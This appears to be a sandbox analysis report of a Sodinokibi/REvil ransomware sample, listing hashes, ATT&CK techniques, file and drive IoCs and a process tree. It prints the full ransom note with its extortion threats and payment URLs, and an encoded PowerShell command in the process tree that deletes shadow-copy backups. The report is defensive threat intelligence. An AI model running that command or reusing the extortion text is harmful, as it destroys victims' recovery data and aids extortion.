sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

03/02/2025, 21:57

250203-1t5hmsvmat 10

03/02/2025, 04:37

250203-e896saslgn 10

31/01/2025, 18:35

250131-w8gmxatmc1 10

Analysis

max time kernel
726s
max time network
534s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250128-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
03/02/2025, 04:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

103f84a7f18492bb17b68cede3a8c53d
SHA1

ed4e3c82883ef862df0a86f858d30fae4bda8cf3
SHA256

1b9dfd1fe17d3783b2ab4a6d583be6fca9ba164d2a1cd6814c710774ec9bd031
SHA512

7bf42382e4c9cdeae9e364a16945366eaebd5ea1859a09d8b8dff5d79593812a07e0037aa54464ae3ec25990b259d87c3c8462391986dbfaff961377972fb512
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QU+lKg0rjCL:NJ0BXScFyfC3Hd4ygPlKjrjC

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Users\2013z324-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome, Radici Products. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 2013z324. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8747E84B5B27ABE1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/8747E84B5B27ABE1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 8GSNvYi+exmbT6lsKa9FYn4RPCcTirbLsTDw/xwKEuqdxXuD+eR+sEFXVzAIZmNO BkP5WkbRKKW9CPIxCqKI3u82m/79b7SyU4Cqw7B8BHhfEodJu42KOASfc2qo0wvv AjoKjPHNGth04OKGMaHE/2RC2d8VQNGSHzlxdWx5Y19Ss7Cv0UThbwenA+ulBjcm dDHppRxBK/w78AYNwDmyMvbT6MxWsRjYpWobms98YxS4xdTE58C7hkBF0iFTb+mN ZESDzgjk1dmuA19eqGvVpgqTjTYpSdHmeDGId2uywxurFMnPgIJxgiEsqhbOh91D Y/J1m58oXSFwBAYm8RPx9aNd3lFMzCfBBeEAeE7XlRSlbbRFreBfZDa8ccftnfwe 1G4Oe8wDS+fqhYZKGaw4iJTYy9Eltaa7CcjB7tfyAw5AFb9IEiir8cp4ux0g6SbE yiBp1VeA1wCB5xeJaLf7WBxc0ghokpSV+/W2WwTKOQi9aXsUedNyyjI24wFdOfjq nl1NxerP2y2Ep/Zu8WNkpmU7aRzl2Qr80I+AcoUxncEp4CR4/X27JREnx3G4oFU7 rseUQJbxB8LYbyo0jqpZoyGhz4mU+yzGlYOtap/Op2zWgt0oXYY9qrZ4+i/RcgEl KPAthNYtB1Ahvk0JGcXmaByT7B0macj6GwSATLWGWafUxiPP3gJ7VStwYW9b9V7g Kn101soOw0V+r3PDeazGBH/thwq+tAyw78yUcQa1G+AoW90IoCrlCd5E2i8wckZT 3qh1iY3fI0f6HzixqgnmigFZzzRwmXcn092szZMHm+ALBYnEIjCMRPICh5RUzKuc n0g+GKHth7ehknSAQqlKJp6MjrnlTyhrYqduBOxYgzd16Qgb1GojWZGl9NsYv6Oo SxLEfjTpYvlQe9KZtySnmz1kbS9z8DEvs6N8iJe5eXw8zAOQgN8bL2SqSvLzAbTA 9OkJAqwoFGgTW4OdEE6NIq3eQhupDPLChMStpdIBPGkrVuVGJs8f90h82SudsYFI 1y3RGTWIluiNbK70lvzWtfug7SbZj1b/0qHl7CCwVwOPt92GigIhATqzZPVvQhGT ZcB2EUYcGP75oCe30bDhVYxr1c+pMTi9iTa6da5qWC56u0MaAr3UOg8+/jg5qrQL g7Fg6rUU/gySjue3sqtgPfGE2MiUF3Zy6RS59qhkPT315omzY8E/qwmAHGkC88Pp BYsW7PEAez2FaNZhLHyje/8DoOaYgHIUs4wrKf+XU8WHuKhlqeEAKbPZEsuwLycE 0L9h2ArLsVWzd3GenlUBqYT9VqAZgpyE4Rbgzx4cJUyUi7iqcpVTc6OoklEftkKl h3djBiV29EZVva2kSh3SCP53Vz+HcA2J6Uu70zS6hEQFjiR0Ykrs6DxDnLpz/NO2 WvHG9GXDiwF5Xcj0AcU= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8747E84B5B27ABE1

http://decryptor.cc/8747E84B5B27ABE1

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe

Drops file in Program Files directory 22 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\SyncNew.ini	rundll32.exe
File opened for modification	\??\c:\program files\TestEdit.dib	rundll32.exe
File opened for modification	\??\c:\program files\OutWrite.otf	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveExpand.html	rundll32.exe
File opened for modification	\??\c:\program files\RedoSet.xml	rundll32.exe
File opened for modification	\??\c:\program files\ResolveConvert.kix	rundll32.exe
File opened for modification	\??\c:\program files\StartReset.7z	rundll32.exe
File opened for modification	\??\c:\program files\EnableSearch.potm	rundll32.exe
File opened for modification	\??\c:\program files\GrantRequest.shtml	rundll32.exe
File opened for modification	\??\c:\program files\OptimizePop.xltx	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectMerge.wmf	rundll32.exe
File opened for modification	\??\c:\program files\AssertUnpublish.mpeg	rundll32.exe
File opened for modification	\??\c:\program files\ClearUnregister.xlt	rundll32.exe
File opened for modification	\??\c:\program files\HideConvertTo.pub	rundll32.exe
File opened for modification	\??\c:\program files\SplitDismount.htm	rundll32.exe
File opened for modification	\??\c:\program files\UndoSubmit.xltm	rundll32.exe
File created	\??\c:\program files\2013z324-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\2013z324-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ApproveOpen.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\GrantOut.xlt	rundll32.exe
File opened for modification	\??\c:\program files\StopWatch.potm	rundll32.exe
File opened for modification	\??\c:\program files\WaitNew.mp2v	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3984	rundll32.exe
3984	rundll32.exe
1448	powershell.exe
1448	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	rundll32.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeBackupPrivilege	3816	vssvc.exe
Token: SeRestorePrivilege	3816	vssvc.exe
Token: SeAuditPrivilege	3816	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 3984	2324	rundll32.exe	83
PID 2324 wrote to memory of 3984	2324	rundll32.exe	83
PID 2324 wrote to memory of 3984	2324	rundll32.exe	83
PID 3984 wrote to memory of 1448	3984	rundll32.exe	84
PID 3984 wrote to memory of 1448	3984	rundll32.exe	84

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1448

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4876

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\2013z324-readme.txt

Filesize
7KB

MD5
7a15d284e7d975ed2bc917ac3e146d36

SHA1
76465229fb7d093bd1e283a78de538471cc338a6

SHA256
fc63536443d1db21d763ee5f8961711bc0487e1b3840de4ed00c8d050a93f18c

SHA512
44354b8a98e3c5772690c39928b1e39e720af211e063192369e30474b64e71aa7da64e7facd66f92dae46f697c1ffcafd87d32a11bf378b7da8697c11e28fa3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0oxmgjw.b3n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1448-0-0x00007FFF75243000-0x00007FFF75245000-memory.dmp

Filesize
8KB

Download
memory/1448-1-0x000001C2FD270000-0x000001C2FD292000-memory.dmp

Filesize
136KB

Download
memory/1448-11-0x00007FFF75240000-0x00007FFF75D02000-memory.dmp

Filesize
10.8MB

Download
memory/1448-12-0x00007FFF75240000-0x00007FFF75D02000-memory.dmp

Filesize
10.8MB

Download
memory/1448-13-0x00007FFF75240000-0x00007FFF75D02000-memory.dmp

Filesize
10.8MB

Download
memory/1448-16-0x00007FFF75240000-0x00007FFF75D02000-memory.dmp

Filesize
10.8MB

Download